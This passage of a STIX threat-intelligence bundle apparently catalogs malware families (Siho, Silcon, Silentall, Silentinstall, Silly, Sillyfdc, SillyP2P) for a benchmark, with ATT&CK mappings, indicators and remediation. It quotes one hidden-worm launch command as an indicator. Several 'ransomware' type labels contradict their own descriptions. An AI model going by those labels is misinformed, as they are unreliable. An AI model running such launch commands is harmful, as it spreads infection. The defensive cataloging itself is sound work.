Assessment</h3>\nA Siho infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Siho executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Siho frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Siho",
        "Downloader.Siho",
        "Win32/Siho"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Siho",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/siho"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7eb8fcef-4891-535d-b591-d0c46629f05b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25d54e64-17c9-5a6b-a6dc-c67c4b8d9605",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Siho exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b85671b4-6f9e-534a-97c5-7d490614e776",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25d54e64-17c9-5a6b-a6dc-c67c4b8d9605",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Siho exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70149d62-411a-5557-bb6a-433175c0f1a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25d54e64-17c9-5a6b-a6dc-c67c4b8d9605",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Siho exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f78106e9-5d18-573a-8df3-0e672a4b12ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Silcon",
      "description": "Trojan:Win32/Silcon is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Silcon</b><br>To an end-user, a Silcon infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Silcon is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Silcon is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Silcon frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Silcon reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Silcon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/silcon"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a44222c8-1c4c-511f-b1b3-5f03c74f0c5e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f78106e9-5d18-573a-8df3-0e672a4b12ca",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silcon exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9cce5d88-b001-52d8-90dc-9266daed1e0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f78106e9-5d18-573a-8df3-0e672a4b12ca",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silcon exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e98d37e7-399e-5af5-9c6f-dd4de520ce84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f78106e9-5d18-573a-8df3-0e672a4b12ca",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silcon exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c886c2b7-3022-52d9-9e0a-043907fce21a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f78106e9-5d18-573a-8df3-0e672a4b12ca",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silcon exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1727509-54d7-55b7-a6ab-455c807d7a71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f78106e9-5d18-573a-8df3-0e672a4b12ca",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silcon exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--29121f85-e001-584e-b5f9-9af652e60e58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Silentall",
      "description": "HackTool:Win32/Silentall (or simply 'Silent Installers') is a heuristic classification used by endpoint security solutions to flag executable files that act as automated software wrappers. These wrappers are designed to unpack and install bundled software packages completely silently in the background, without presenting a User Interface (UI), End User License Agreement (EULA), or any prompts to the user. While they can be used for legitimate IT deployment, threat actors heavily abuse them to deploy adware and malware without user interaction.<br><br><b>Understanding Silent Installers</b><br>To an end-user, the execution of a Silentall wrapper is invisible; they double-click a file, nothing seems to happen, but suddenly new toolbars or programs appear on their system. For a security analyst, a silent installer found outside of a managed IT deployment tool (like SCCM or Intune) is highly suspicious. It is the primary delivery mechanism for the Pay-Per-Install (PPI) adware ecosystem, allowing attackers to install multiple payloads with a single user click.<br><br><b>Execution and Bundling Mechanics</b><br>The infection typically begins when a user downloads a 'cracked' game or a freeware bundle (`T1189`). When the user executes the file (`T1204.002`), the Silentall wrapper executes a batch script or utilizes command-line switches (like `/S` or `/quiet`) (`T1059.004`) to silently execute multiple secondary MSIs or EXEs hidden within its archive. It bypasses all user consent mechanisms. These secondary payloads often install rogue browser extensions (`T1176`), modify the browser's default search engine (`T1112`), and establish persistence via Registry Run keys.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized installation of Potentially Unwanted Programs (PUAs) and adware, leading to a degraded user experience and privacy risks. Incident responders will observe a single executable (the wrapper) rapidly spawning multiple child processes (the installers) in the background. EDR logs will flag the use of silent command-line switches and the rapid modification of browser preference files and Registry Run keys. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Silentall",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/silentall"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23cecc7b-2c16-5b7e-ab9f-7ae61300d11e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29121f85-e001-584e-b5f9-9af652e60e58",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silentall exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--760d9308-0fac-5560-9fff-552f67945bd9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29121f85-e001-584e-b5f9-9af652e60e58",
      "target_ref": "attack-pattern--984646e0-34fe-5848-ad02-8ae1f047b736",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silentall exhibits technique T1059.004 (Command and Scripting Interpreter: Unix Shell (or Windows CMD for silent execution))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1142d83b-e5f7-5fde-8528-01e71bb83cc6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29121f85-e001-584e-b5f9-9af652e60e58",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silentall exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8388997-bbcf-5dfe-9b6d-7c1cd5fd31c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29121f85-e001-584e-b5f9-9af652e60e58",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silentall exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ade77356-099c-5722-a05c-141e700df425",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Silentinstall",
      "description": "<h3>Executive Summary</h3>\n\"SilentInstall\" (often flagged generically as Adware.SilentInstall or PUP.Installer) refers to a class of Potentially Unwanted Programs (PUPs) and aggressive software wrappers. These are designed to forcefully bundle and install multiple unwanted applications, toolbars, and adware extensions onto a user's system without their explicit consent or knowledge, hiding the installation process entirely from the user interface.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSilentInstall wrappers are the primary monetization method for \"freeware\" download portals and third-party software aggregators. When a user downloads a desired program (like a media player or PDF converter) from these sites, they are actually downloading the SilentInstall wrapper.\n\nUpon execution, the wrapper utilizes aggressive tactics:\n<ul>\n<li><strong>Hidden Execution (Command Line Switches):</strong> The wrapper extracts its payloads and executes them using Windows command-line switches (e.g., `/S`, `/silent`, `/quiet`). This forces the bundled adware and toolbars to install in the background without displaying any EULAs, progress bars, or opt-out checkboxes.</li>\n<li><strong>Registry and Browser Hijacking:</strong> The silently installed adware immediately begins modifying registry keys to establish persistence and forcefully alters the default homepage and search engine of installed browsers (Chrome, Firefox, Edge) to route traffic through affiliate links.</li>\n<li><strong>Evasion of UAC:</strong> Sophisticated variants may attempt to bypass Windows User Account Control (UAC) prompts to ensure the silent installations complete with administrative privileges.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not a virus, SilentInstall wrappers are highly disruptive. They rapidly degrade system performance by installing multiple resource-heavy adware programs simultaneously. They severely compromise user privacy through persistent browser hijacking and aggressive web tracking telemetry.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Comprehensive System Scan:</strong> Standard antivirus often ignores PUPs. A dedicated enterprise anti-malware solution is required to scan the system and identify the dozens of potentially unwanted programs installed by the wrapper.</li>\n<li><strong>Manual Uninstallation and Cleanup:</strong> IT staff must manually review the \"Add/Remove Programs\" list, uninstalling the unwanted toolbars and optimizers. Further cleanup of orphaned registry keys and Scheduled Tasks is usually necessary.</li>\n<li><strong>Browser Factory Reset:</strong> To completely eradicate the browser hijacking components, all installed web browsers must undergo a full factory reset to purge hidden extensions and modified search settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.SilentInstall",
        "PUP.Installer",
        "Win32/Bundler"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Silentinstall",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/silentinstall"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ae4f507-a22e-5a0a-bf16-cf5363e0864e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ade77356-099c-5722-a05c-141e700df425",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silentinstall exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5bb4887e-baf7-5a66-b84c-4cd7ac326730",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ade77356-099c-5722-a05c-141e700df425",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silentinstall exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae095b79-da1d-5be3-a515-1a1d57c1818b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ade77356-099c-5722-a05c-141e700df425",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silentinstall exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6aebf7b-2efc-5da5-a781-396bdcea50b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ade77356-099c-5722-a05c-141e700df425",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silentinstall exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--257dd636-95a3-52ba-ad35-25fe81733892",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ade77356-099c-5722-a05c-141e700df425",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silentinstall exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a86e69a-ba2f-5af2-8518-9127c3957e81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ade77356-099c-5722-a05c-141e700df425",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silentinstall exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3240f5b6-5b2a-5679-bd30-b14f1e0b1045",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Silly",
      "description": "<h3>Executive Summary</h3>\nSilly (often referred to as SillyFDC or Worm.Silly) is a prolific family of legacy worms that primarily spread via removable media, most notably USB flash drives. While considered a \"classic\" threat, Silly remains highly prevalent in industrial control systems (ICS), operational technology (OT) environments, and air-gapped networks where USB drives are frequently used to transfer data.\n\n<h3>Propagation and Execution Lifecycle</h3>\nSilly's primary objective is rapid, silent propagation across local networks and physical media.\n\nIts execution lifecycle relies heavily on abusing Windows features:\n<ul>\n<li><strong>USB AutoRun Exploitation:</strong> When an infected USB drive is inserted into a Windows machine, the worm relies on the `AutoRun.inf` feature (or exploits vulnerabilities in how Windows handles shortcut `.lnk` files) to automatically execute its payload without any user interaction.</li>\n<li><strong>System Modification and Hiding:</strong> Once active on the host, Silly copies itself to the Windows System directory and modifies the Registry to ensure it starts upon reboot. Crucially, it alters Windows Explorer settings to hide file extensions and hidden system files, ensuring the user cannot see the malicious executables on the USB drive.</li>\n<li><strong>Continuous Infection Cycle:</strong> The worm continuously monitors the system for new removable drives. When a clean USB drive is inserted, Silly immediately copies itself to the drive, creates a malicious `AutoRun.inf` file, and waits for the drive to be plugged into a new victim machine.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Silly rarely contains highly destructive payloads (like ransomware), its presence is a massive operational disruption. It can rapidly saturate networks, corrupt files on USB drives, and serve as a \"dropper\" for more severe malware. Furthermore, its ability to easily bridge \"air-gapped\" networks makes it a significant threat in critical infrastructure environments.\n\n<h3>Eradication and Incident Response</h3>\n<ul>\n<li><strong>Disable AutoRun/AutoPlay:</strong> The most critical defense against Silly is enforcing strict Group Policy Objects (GPOs) that entirely disable AutoRun and AutoPlay functionality across all drives in the enterprise.</li>\n<li><strong>USB Device Control:</strong> Implement endpoint security policies that restrict or completely block the use of unauthorized USB storage devices.</li>\n<li><strong>Registry Remediation:</strong> Removing the executable is insufficient. Incident response must include repairing the registry keys altered by the worm to restore the visibility of hidden files and folders, allowing users to verify their drives are clean.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm.SillyFDC",
        "W32/Silly",
        "AutoRun.Silly"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Silly",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/silly"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8f98c84-1461-5534-a540-fe93377154d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3240f5b6-5b2a-5679-bd30-b14f1e0b1045",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silly exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2650b296-383b-5fb2-91e9-684f4d51f76d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3240f5b6-5b2a-5679-bd30-b14f1e0b1045",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silly exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7704e0bd-2a67-50ab-8cd0-e4ccc281310c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3240f5b6-5b2a-5679-bd30-b14f1e0b1045",
      "target_ref": "attack-pattern--cc0b5894-87c7-5a25-90e8-09cb9907d5d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Silly exhibits technique T1564.001 (Hide Artifacts: Hidden Files and Directories (Hiding the real folders))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--48bd5c93-b21c-535f-8849-0ead750e4bf6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sillyfdc",
      "description": "Worm:Win32/Sillyfdc is a prolific and persistent worm designed to propagate rapidly across networks by infecting removable drives (USB flash drives). First emerging in the mid-2000s, variants of Sillyfdc remain highly prevalent in environments that rely heavily on physical media transfer, such as industrial control systems (ICS), educational institutions, and offline networks. Its primary mechanism relies on abusing the Windows Autorun/Autoplay functionality (`T1091`).<br><br><b>Understanding Sillyfdc (USB Worms)</b><br>To an end-user, the infection is often noticed when their USB drive suddenly contains `.lnk` (shortcut) files instead of their actual folders, or when the drive behaves erratically. For a security administrator, a Sillyfdc outbreak is a nightmare, capable of bridging air-gapped networks and causing massive, noisy file modifications across the enterprise.<br><br><b>Execution and Propagation Mechanics</b><br>Sillyfdc spreads via Replication Through Removable Media (`T1091`). When an infected USB drive is plugged into a Windows machine, the worm executes (historically via `autorun.inf`, or modernly by tricking the user into clicking a malicious shortcut). Once on the host, it establishes persistence by copying itself to `%SystemRoot%` or `%AppData%` and creating a Registry Run key (`T1547.001`). The worm then monitors the system for new USB drives. When a clean drive is inserted, Sillyfdc immediately copies its executable to the drive, hides all legitimate user folders on the drive (`T1564.001`), and creates malicious `.lnk` shortcuts with the exact names of the hidden folders. When a user on a *different* machine clicks the shortcut to access their files, they inadvertently execute the worm first, spreading the infection.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is widespread infection, potential data loss (if the worm malfunctions or includes a destructive payload), and a massive drain on IT resources to clean the environment. Host-based IoCs include the presence of hidden folders on USB drives replaced by `.lnk` files pointing to a hidden executable (e.g., `cmd.exe /c start hidden_worm.exe`). EDR alerts will trigger on executables launching from the root directory of removable media or making anomalous modifications to `autorun.inf`. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sillyfdc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sillyfdc"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79510c3d-c400-5fd7-96f3-c5ba6194c608",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48bd5c93-b21c-535f-8849-0ead750e4bf6",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sillyfdc exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6cce1cb9-3965-524f-bb33-0a1ce5c4c0bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48bd5c93-b21c-535f-8849-0ead750e4bf6",
      "target_ref": "attack-pattern--cc0b5894-87c7-5a25-90e8-09cb9907d5d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sillyfdc exhibits technique T1564.001 (Hide Artifacts: Hidden Files and Directories (Hiding user files and the worm executable on the USB))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9356feee-1265-5d50-86f5-3aa8960d8d34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48bd5c93-b21c-535f-8849-0ead750e4bf6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sillyfdc exhibits technique T1547.001 (Boot or Logon Autostart Execution (Persistence on the host machine))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f7223f74-6b4d-585c-9bbe-29c9cef696d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sillyp2P",
      "description": "<h3>Executive Summary</h3>\nSillyP2P is a classic classification for a family of computer worms designed to propagate rapidly across Peer-to-Peer (P2P) file-sharing networks (such as LimeWire, eMule, or BitTorrent). These worms operate by disguising themselves as highly desirable, popular files (like new movie releases, cracked software, or popular music albums) to trick users into downloading and executing them.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nThe infection vector relies entirely on social engineering within P2P networks. The worm does not exploit software vulnerabilities; instead, it relies on the user actively searching for and executing a file they believe to be legitimate.\n\nUpon execution, SillyP2P focuses on aggressive self-replication and P2P distribution:\n<ul>\n<li><strong>Shared Folder Replication:</strong> The worm immediately identifies the shared folders used by installed P2P client software. It copies its own executable into these folders hundreds or thousands of times.</li>\n<li><strong>Deceptive Renaming (Baiting):</strong> The worm dynamically renames these copies based on a hardcoded list of popular search terms or by parsing the names of legitimate files already in the shared folder. A single worm might disguise itself as `Windows_10_Crack.exe`, `Latest_Movie_1080p.avi.exe`, and `Photoshop_Keygen.exe` simultaneously.</li>\n<li><strong>Network Flooding:</strong> By placing thousands of highly desirable \"bait\" files into the P2P network, the infected machine becomes a major distribution node, significantly consuming the host's bandwidth and propagating the worm to other P2P users.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile older SillyP2P variants were often relatively harmless beyond their replication routines, modern variants frequently act as droppers. Once executed, the worm will propagate via the P2P network while simultaneously downloading and installing secondary, severe malware, such as banking trojans, info-stealers, or ransomware.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>P2P Client Termination:</strong> Immediately terminate any active P2P file-sharing software to halt the active distribution of the worm and stop bandwidth consumption.</li>\n<li><strong>Full System Anti-Malware Scan:</strong> Run a comprehensive scan using a reputable enterprise antivirus solution to identify and remove all replicated copies of the worm executable across the filesystem.</li>\n<li><strong>Network Policy Enforcement:</strong> P2P software is a massive security risk and should be strictly prohibited in enterprise environments. Enforce Application Control policies to block the execution of all P2P clients and utilize perimeter firewalls to block known P2P network ports and protocols.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
